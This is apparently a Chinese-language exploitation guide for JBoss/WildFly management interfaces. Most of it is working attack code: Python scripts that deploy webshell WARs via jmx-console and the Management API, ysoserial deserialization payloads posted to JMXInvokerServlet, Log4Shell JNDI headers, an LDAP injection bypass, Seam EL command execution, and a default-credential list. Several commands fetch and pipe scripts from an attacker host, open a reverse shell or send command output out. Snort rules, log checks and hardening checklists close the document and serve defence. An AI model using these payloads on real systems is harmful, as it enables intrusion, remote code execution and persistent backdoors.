JBoss/WildFly jmx-console InvokerServlet 反序列化 管理面 RCE 利用技术

nmap -sV -p 8080,9990,9999 --script=http-title,http-headers <target>

curl -sI http://TARGET:8080/
# Server: JBossWeb/2.1.x
# X-Powered-By: JBoss, JBossWeb/2.1.x

curl -sI http://TARGET:9990/
# 管理控制台 — 返回 JBoss Management Console 登录页

/jmx-console/                          # JMX 管理控制台（最高危）
/invoker/JMXInvokerServlet             # JMX Invoker 反序列化入口
/invoker/readonly                      # ReadOnlyAccessFilter 反序列化入口
/console/                              # Web 管理控制台
/management/                           # HTTP Management API
/jbossws/services                      # JBoss Web Services
/portal/                               # JBoss Portal
/seam/resource/remoting/               # JBoss Seam 远程调用
/admin-console/                        # Admin Console (EAP 6+)
/management                            # WildFly Management API

import requests

def detect_jboss_version(host, port=8080):
    base_url = f"http://{host}:{port}"

    # 检查 jmx-console
    resp = requests.get(f"{base_url}/jmx-console/", timeout=5)
    if resp.status_code == 200:
        print("[+] jmx-console accessible (no auth required)")
        # 提取版本信息
        if "JBoss" in resp.text:
            print(f"[+] JBoss detected in jmx-console page")

    # 检查 InvokerServlet
    resp = requests.get(f"{base_url}/invoker/JMXInvokerServlet", timeout=5)
    if resp.status_code == 200:
        content_type = resp.headers.get("Content-Type", "")
        if "serialized" in content_type or "x-java-serialized-object" in content_type:
            print("[+] JMXInvokerServlet accessible — deserialization endpoint confirmed")

    # 检查管理控制台
    resp = requests.get(f"{base_url}/management", timeout=5, auth=("admin", "admin"))
    if resp.status_code == 200:
        print("[+] Management API accessible with default credentials (admin:admin)")

    # 检查 9990 管理端口
    try:
        resp = requests.get(f"http://{host}:9990/management", timeout=5)
        if resp.status_code in [200, 401]:
            print(f"[+] Management console on 9990: status={resp.status_code}")
    except:
        pass

detect_jboss_version("192.168.1.100")

攻击路径:
jmx-console → MainDeployer MBean → deploy() 方法 → 部署恶意 WAR → RCE

# Step 1: 访问 jmx-console
# http://TARGET:8080/jmx-console/

# Step 2: 查找 MainDeployer MBean
# 在 jmx-console 页面中找到 "jboss.deployer:service=MainDeployer"

# Step 3: 调用 deploy(String url) 方法
# 参数填写攻击者服务器上的恶意 WAR 文件 URL:
# deploy("http://attacker.com:8888/cmd.war")

# Step 4: 访问部署后的 Webshell
# http://TARGET:8080/cmd/cmd.jsp?cmd=id

import requests

def exploit_jmx_console(host, port=8080, war_url="http://attacker:8888/cmd.war"):
    base_url = f"http://{host}:{port}"

    # Step 1: 确认 jmx-console 可访问
    resp = requests.get(f"{base_url}/jmx-console/", timeout=5)
    if resp.status_code != 200:
        print(f"[-] jmx-console not accessible: {resp.status_code}")
        return
    print("[+] jmx-console accessible")

    # Step 2: 通过 MainDeployer 部署 WAR
    deploy_url = f"{base_url}/jmx-console/HtmlAdaptor"
    params = {
        "action": "invokeOpByName",
        "name": "jboss.deployer:service=MainDeployer",
        "methodName": "deploy",
        "argType": "java.lang.String",
        "arg0": war_url
    }

    resp = requests.get(deploy_url, params=params, timeout=15)
    if resp.status_code == 200:
        print("[+] WAR deployment triggered via MainDeployer")
    else:
        print(f"[-] Deployment failed: {resp.status_code}")
        return

    # Step 3: 验证 Webshell
    import time
    time.sleep(3)
    resp = requests.get(f"{base_url}/cmd/cmd.jsp?cmd=id", timeout=5)
    if resp.status_code == 200:
        print(f"[+] RCE confirmed: {resp.text[:200]}")
    else:
        print(f"[-] Webshell not accessible: {resp.status_code}")

exploit_jmx_console("192.168.1.100")

攻击路径:
jmx-console → MBeanServer → createMBean() → 加载远程恶意类 → RCE

# 通过 jmx-console 的 MBeanServer.invoke() 调用 createMBean
# 参数:
#   name: "com.sun.management.jmxremote" (或任意恶意 MBean)
#   code: "http://attacker.com:8888/Exploit.class"
#   codeBase: "http://attacker.com:8888/"

# 实际利用中需要构造完整的 MBean 注册请求
# 建议使用 JBoss exploitation tools (如 jexboss)

<!-- jmx-console 认证配置位于: deploy/jmx-console.war/WEB-INF/web.xml -->
<!-- 默认注释掉了安全约束:
<security-constraint>
  <web-resource-collection>
    <web-resource-name>HtmlAdaptor</web-resource-name>
    <url-pattern>/*</url-pattern>
  </web-resource-collection>
  <auth-constraint>
    <role-name>JBossAdmin</role-name>
  </auth-constraint>
</security-constraint>
-->

POST /invoker/JMXInvokerServlet HTTP/1.1
Host: TARGET:8080
Content-Type: application/x-java-serialized-object
Content-Length: <payload_length>

<Java Serialized Object — 恶意 Gadget Chain>

# CommonsCollections1 链 (JBoss 5.x/6.x)
java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com/shell.sh|bash" > cc1_payload.bin

# CommonsCollections3 链
java -jar ysoserial.jar CommonsCollections3 "touch /tmp/pwned" > cc3_payload.bin

# CommonsCollections5 链
java -jar ysoserial.jar CommonsCollections5 "id > /tmp/proof" > cc5_payload.bin

# CommonsCollections6 链
java -jar ysoserial.jar CommonsCollections6 "bash -i >& /dev/tcp/attacker/4444 0>&1" > cc6_payload.bin

# CommonsCollections7 链
java -jar ysoserial.jar CommonsCollections7 "whoami" > cc7_payload.bin

import requests

def exploit_invoker_servlet(host, port=8080, payload_file="cc1_payload.bin"):
    url = f"http://{host}:{port}/invoker/JMXInvokerServlet"

    with open(payload_file, "rb") as f:
        payload = f.read()

    headers = {
        "Content-Type": "application/x-java-serialized-object",
    }

    resp = requests.post(url, data=payload, headers=headers, timeout=10)
    print(f"[*] Response status: {resp.status_code}")
    print(f"[*] Response length: {len(resp.content)}")

    # 如果返回 200 且 Content-Type 为 x-java-serialized-object，表示反序列化已触发
    if resp.status_code == 200:
        print("[+] Payload delivered — check target for command execution")

exploit_invoker_servlet("192.168.1.100")

def exploit_readonly_invoker(host, port=8080, payload_file="cc1_payload.bin"):
    url = f"http://{host}:{port}/invoker/readonly"

    with open(payload_file, "rb") as f:
        payload = f.read()

    headers = {
        "Content-Type": "application/x-java-serialized-object",
    }

    resp = requests.post(url, data=payload, headers=headers, timeout=10)
    print(f"[*] ReadOnly Invoker response: {resp.status_code}")

exploit_readonly_invoker("192.168.1.100")

ObjectInputStream.readObject()
  → AnnotationInvocationHandler.readObject()
    → TransformingMap (TiedMapEntry)
      → LazyMap.get()
        → ChainedTransformer.transform()
          → ConstantTransformer → Runtime.class
          → InvokerTransformer → getRuntime()
          → InvokerTransformer → exec("cmd")

import requests

def exploit_jndi_injection(host, port=8080, ldap_url="ldap://attacker:1389/exploit"):
    """
    通过 JBoss 中的 JNDI 注入点触发远程类加载
    常见注入点:
    1. JMXInvokerServlet 反序列化 → JNDI lookup
    2. EJB 远程调用 → JNDI lookup
    3. 应用层 JNDI 注入 (如 Log4Shell)
    """

    # 方式一: 通过反序列化 Gadget 链触发 JNDI lookup
    # ysoserial JRMPClient Gadget:
    # java -jar ysoserial.jar JRMPClient "attacker:1099" > jndi_payload.bin

    # 方式二: 通过应用层 JNDI 注入 (如 Log4j)
    # 如果 JBoss 应用使用了 Log4j < 2.17:
    headers = {
        "X-Api-Version": f"${{jndi:ldap://{ldap_url}}}",
        "User-Agent": f"${{jndi:ldap://{ldap_url}}}",
        "X-Forwarded-For": f"${{jndi:ldap://{ldap_url}}}",
    }

    resp = requests.get(f"http://{host}:{port}/", headers=headers, timeout=5)
    print(f"[*] JNDI injection attempt: {resp.status_code}")

exploit_jndi_injection("192.168.1.100")

攻击链:
1. JBoss 应用使用 Log4j 记录 HTTP 请求头
2. 攻击者发送包含 ${jndi:ldap://attacker/exploit} 的请求头
3. Log4j 解析 JNDI 表达式 → 连接攻击者 LDAP 服务器
4. LDAP 服务器返回恶意类引用
5. JBoss 通过 URLClassLoader 加载远程恶意类 → RCE

# 启动恶意 LDAP 服务器
# java -jar JNDIExploit.jar -i attacker_ip -p 1389 -l 8888

# 发送 Log4Shell payload
curl -H "X-Api-Version: \${jndi:ldap://attacker:1389/exploit}" \
     http://TARGET:8080/any-endpoint

# JBoss 特有的 JNDI 注入点
# 通过 EJB 查找:
# ${jndi:ldap://attacker:1389/exploit}
# ${jndi:rmi://attacker:1099/exploit}
# ${jndi:dns://attacker:53/exfil}  (数据外带)

# 启动 RMI 反序列化服务器
java -cp marshalsec.jar marshalsec.JndiExploit "http://attacker:8888/#Exploit"

# 启动 LDAP 反序列化服务器
java -cp marshalsec.jar marshalsec.ldap.LDAPRefServer "http://attacker:8888/#Exploit"

# JBoss 特有的 JNDI 协议支持:
# - rmi:// (RMI 远程对象)
# - ldap:// (LDAP 目录服务)
# - ldaps:// (LDAP over SSL)
# - dns:// (DNS — 可用于数据外带)

# 默认凭据测试
curl -s -u admin:admin http://TARGET:9990/management
curl -s -u admin:admin http://TARGET:9990/management/whoami

# 获取服务器信息
curl -s -u admin:admin http://TARGET:9990/management \
  -H "Content-Type: application/json" \
  -d '{"operation":"read-resource","recursive":true}' | python3 -m json.tool

# 获取部署列表
curl -s -u admin:admin http://TARGET:9990/management/deployment=* \
  -H "Content-Type: application/json" \
  -d '{"operation":"read-resource"}' | python3 -m json.tool

import requests
import json

def deploy_war_via_management(host, port=9990, war_path="/tmp/cmd.war",
                               username="admin", password="admin"):
    mgmt_url = f"http://{host}:{port}/management"

    # Step 1: 上传 WAR 文件到 content repository
    with open(war_path, "rb") as f:
        war_data = f.read()

    # 计算 SHA1 用于内容引用
    import hashlib
    sha1 = hashlib.sha1(war_data).hexdigest()

    # 上传内容
    upload_url = f"{mgmt_url}/add-content"
    files = {"file": ("cmd.war", war_data, "application/octet-stream")}
    data = {"hash": sha1}

    resp = requests.post(upload_url, files=files, data=data,
                         auth=(username, password), timeout=30)
    print(f"[*] Upload status: {resp.status_code}")

    # Step 2: 部署应用
    deploy_payload = {
        "operation": "add",
        "address": [{"deployment": "cmd.war"}],
        "content": [{"hash": {"BYTES_VALUE": sha1}}],
        "enabled": "true"
    }

    resp = requests.post(mgmt_url,
                         data=json.dumps(deploy_payload),
                         headers={"Content-Type": "application/json"},
                         auth=(username, password), timeout=15)
    print(f"[*] Deploy status: {resp.status_code}")
    print(f"[+] Access: http://{host}:8080/cmd/cmd.jsp?cmd=id")

deploy_war_via_management("192.168.1.100")

# 使用 jboss-cli.sh 连接 Native Management
./bin/jboss-cli.sh --connect controller=TARGET:9999 --user=admin --password=admin

# 连接后执行管理命令:
# [standalone@TARGET:9999 /] deploy /tmp/cmd.war
# [standalone@TARGET:9999 /] /deployment=cmd.war:read-resource
# [standalone@TARGET:9999 /] /subsystem=datasources:read-resource

# 通过 Native Management 执行系统命令 (需要 jboss-cli)
# [standalone@TARGET:9999 /] /core-service=management/service=configuration-changes:read-changes-history(max-history=10)

常见 JBoss/WildFly 默认凭据:
admin:admin
admin:
admin:admin123
admin:password
admin:jb0ss
admin:Jboss@123
admin:Redhat@123

管理用户配置文件位置:
# JBoss 4.x/5.x:
server/default/conf/props/jmx-console-users.properties
server/default/conf/props/web-console-users.properties

# JBoss EAP 6.x / WildFly:
standalone/configuration/mgmt-users.properties
domain/configuration/mgmt-users.properties

部署目录:
# Standalone 模式:
standalone/deployments/

# Domain 模式:
domain/deployments/

# JBoss 4.x/5.x:
server/default/deploy/

# Marker 文件类型:
# .dodeploy    — 触发部署
# .deployed    — 部署成功标记
# .failed      — 部署失败标记
# .undeployed  — 取消部署标记
# .isdeploying — 正在部署标记

# 如果已有文件上传能力（如通过管理控制台或 NFS 挂载）:
# 1. 上传恶意 WAR 到部署目录
# 2. 创建 .dodeploy marker 文件触发部署
touch standalone/deployments/cmd.war.dodeploy

# 3. 等待部署完成后访问 Webshell
curl http://TARGET:8080/cmd/cmd.jsp?cmd=id

# Deployment Overlay 允许覆盖已部署应用中的文件
# 可用于注入恶意配置或后门

# 通过 jboss-cli 创建 overlay:
# [standalone@TARGET:9999 /] deployment-overlay add --name=backdoor --content=/WEB-INF/web.xml=./malicious-web.xml --target-deployments=*.war

# 通过 Management API:
curl -s -u admin:admin http://TARGET:9990/management/deployment-overlay=backdoor \
  -H "Content-Type: application/json" \
  -d '{"operation":"add","content":{"/WEB-INF/web.xml":"BYTES_VALUE"}}'

<!-- Elytron 安全域配置 (standalone/configuration/standalone.xml) -->
<subsystem xmlns="urn:wildfly:elytron:14.0">
  <security-domains>
    <security-domain name="ApplicationDomain">
      <permission-mapper name="default-permission-mapper"/>
      <principal-decoder name="combined-principal-decoder"/>
      <security-realm name="ApplicationRealm"/>
    </security-domain>
  </security-domains>

  <security-realms>
    <properties-realm name="ApplicationRealm">
      <users-properties path="application-users.properties"
                        relative-to="jboss.server.config.dir"/>
    </properties-realm>
  </security-realms>
</subsystem>

# 如果 Elytron 配置中启用了 SASL ANONYMOUS 机制:
# <sasl-authentication-factory name="management-sasl"
#   <mechanism-configuration>
#     <mechanism mechanism-name="ANONYMOUS"/>
#   </mechanism-configuration>

# 攻击者可以匿名连接到 Native Management:
./bin/jboss-cli.sh --connect controller=TARGET:9999
# 无需用户名密码即可连接

# 通过 Python 直接利用:
import socket

def connect_anonymous_native(host, port=9999):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    # WildFly Native Management 协议握手
    # 发送 SASL ANONYMOUS 认证
    handshake = b"\x00\x00\x00\x01"  # 协议版本
    sock.send(handshake)
    resp = sock.recv(1024)
    print(f"[*] Native Management response: {resp.hex()}")
    sock.close()

connect_anonymous_native("192.168.1.100")

攻击场景:
如果 Elytron 使用 LDAP 安全域 (ldap-realm) 进行认证:
1. 攻击者构造特殊用户名进行 LDAP 注入
2. 绕过认证检查
3. 以任意用户身份登录管理控制台

注入 payload:
用户名: admin)(uid=*))(|(uid=*
密码: (任意)

LDAP 查询变为:
(&(uid=admin)(uid=*))(|(uid=*)(uid=...))(password=xxx)
→ 返回所有用户 → 认证绕过

# PoC URL:
# http://TARGET:8080/seam-home/seam/resource/remoting/resource/
#   ?actionOutcome=/success.xhtml?user%3d#{expression}

# 执行命令的 EL 表达式:
# #{runtime:exec('touch /tmp/pwned')}

# 完整 PoC:
curl "http://TARGET:8080/seam-home/seam/resource/remoting/resource/?actionOutcome=/success.xhtml?user%3d%23%7bruntime%3aexec('id')%7d"

# 使用 ysoserial 的 URLDNS 链进行 DNS 验证
java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn/proof" > urldns_payload.bin

# 命令执行结果通过 DNS 外带:
# 使用 bash 反连:
java -jar ysoserial.jar CommonsCollections6 \
  "curl http://attacker:8888/\$(whoami)" > dns_exfil_payload.bin

# 通过反序列化链注入内存 Webshell
# 原理: 通过反射向 JBossWeb/Tomcat 的 Context 中注册恶意 Servlet

# 核心思路:
# 1. 反序列化触发 → 获取 StandardContext
# 2. 通过反射创建 Wrapper (Servlet 容器)
# 3. 设置 Servlet 类为恶意命令执行类
# 4. 注册到 Context 的 Servlet 映射中
# 5. 后续 HTTP 请求即可触发命令执行

# 建议使用 ysoserial-modified 的 Echo 模块
# 或 JNDIExploit 的内存马注入功能

# 最简单的方式: 命令结果写入 Web 目录
java -jar ysoserial.jar CommonsCollections6 \
  "bash -c 'id > /opt/jboss/standalone/deployments/root.war/proof.txt'" > write_payload.bin

# 然后访问:
curl http://TARGET:8080/proof.txt

# jmx-console 未授权访问
alert tcp any any -> any 8080 (msg:"JBoss jmx-console Access"; content:"/jmx-console/"; nocase; sid:2000001;)

# InvokerServlet 反序列化攻击
alert tcp any any -> any 8080 (msg:"JBoss InvokerServlet POST"; content:"/invoker/JMXInvokerServlet"; content:"POST"; nocase; sid:2000002;)
alert tcp any any -> any 8080 (msg:"JBoss ReadOnly Invoker"; content:"/invoker/readonly"; content:"POST"; nocase; sid:2000003;)

# Java 序列化特征
alert tcp any any -> any 8080 (msg:"Java Serialized Object"; content:"|aced0005|"; sid:2000004;)

# Management API 默认凭据
alert tcp any any -> any 9990 (msg:"JBoss Management API"; content:"/management"; content:"Basic"; sid:2000005;)

# JNDI 注入特征
alert tcp any any -> any 8080 (msg:"JNDI LDAP Injection"; content:"jndi:ldap"; nocase; sid:2000006;)
alert tcp any any -> any 8080 (msg:"JNDI RMI Injection"; content:"jndi:rmi"; nocase; sid:2000007;)

# Log4Shell 特征
alert tcp any any -> any 8080 (msg:"Log4Shell JNDI Lookup"; content:"${jndi:"; nocase; sid:2000008;)

# 检查 jmx-console 异常访问
grep "/jmx-console/" access.log | grep -v "401\|403"

# 检查 InvokerServlet 攻击
grep "/invoker/JMXInvokerServlet" access.log
grep "/invoker/readonly" access.log

# 检查 Management API 异常
grep "/management" access.log | grep "200"

# 检查 JNDI 注入尝试
grep -i "jndi:" access.log
grep -i "\${jndi" access.log
grep -i "ldap://" access.log
grep -i "rmi://" access.log

# 检查异常部署
grep "deploy" server.log | grep -i "error\|warn\|success"

# 检查 WAR 部署记录
grep -r "deploy" standalone/deployments/ | grep ".war"

[ ] 确认 JBoss/WildFly 版本与已安装补丁
    - 检查 standalone/configuration/standalone.xml 中的版本信息
    - 确认 Red Hat 安全公告状态

[ ] 检查 jmx-console 是否对外暴露
    - 从外网访问 /jmx-console/ 路径
    - 检查 web.xml 中的安全约束配置

[ ] 检查 InvokerServlet 是否可访问
    - POST /invoker/JMXInvokerServlet
    - POST /invoker/readonly
    - 如不需要，在 web.xml 中禁用

[ ] 排查反序列化攻击
    - 检查 access.log 中的 InvokerServlet POST 请求
    - 搜索 Java 序列化魔术字节 |aced0005|
    - 检查服务器日志中的 ClassNotFoundException

[ ] 检查 Management API 安全
    - 验证 9990/9999 端口是否对外暴露
    - 检查 mgmt-users.properties 中的用户列表
    - 验证是否使用默认凭据

[ ] 排查 JNDI 注入
    - 搜索日志中的 ${jndi: 模式
    - 检查所有 HTTP 请求头是否包含 JNDI 表达式
    - 验证 Log4j 版本 ≥ 2.17.0

[ ] 检查异常部署
    - 扫描 deployments/ 目录下的异常 WAR/EAR 文件
    - 检查 Management API 的部署记录
    - 对比已知合法部署列表

[ ] 网络隔离与加固
    - 禁用 jmx-console 和 InvokerServlet
    - 限制 Management API 为内网访问
    - 升级 JBoss/WildFly 到最新版本
    - 应用 Red Hat 安全补丁

[ ] jmx-console 已禁用或添加认证保护
[ ] InvokerServlet (/invoker/*) 已禁用
[ ] Management API (9990/9999) 仅内网可达
[ ] 管理控制台使用强密码，非默认凭据
[ ] JBoss/WildFly 版本为最新稳定版
[ ] 已应用所有 Red Hat Critical Patch Update
[ ] Deployment Scanner 仅监控必要目录
[ ] Elytron 安全域配置正确，未启用 ANONYMOUS 机制
[ ] Log4j 版本 ≥ 2.17.0 (防 Log4Shell)
[ ] Commons Collections 已从 classpath 中移除或升级
[ ] 部署 WAF 并配置 JBoss 专项检测规则
[ ] 监控 JVM 类加载行为，检测内存马注入
[ ] 定期检查部署目录下的异常 WAR/EAR 文件
[ ] 配置 access.log 远程收集与实时告警
[ ] 启用 JBoss Audit Logging 记录管理操作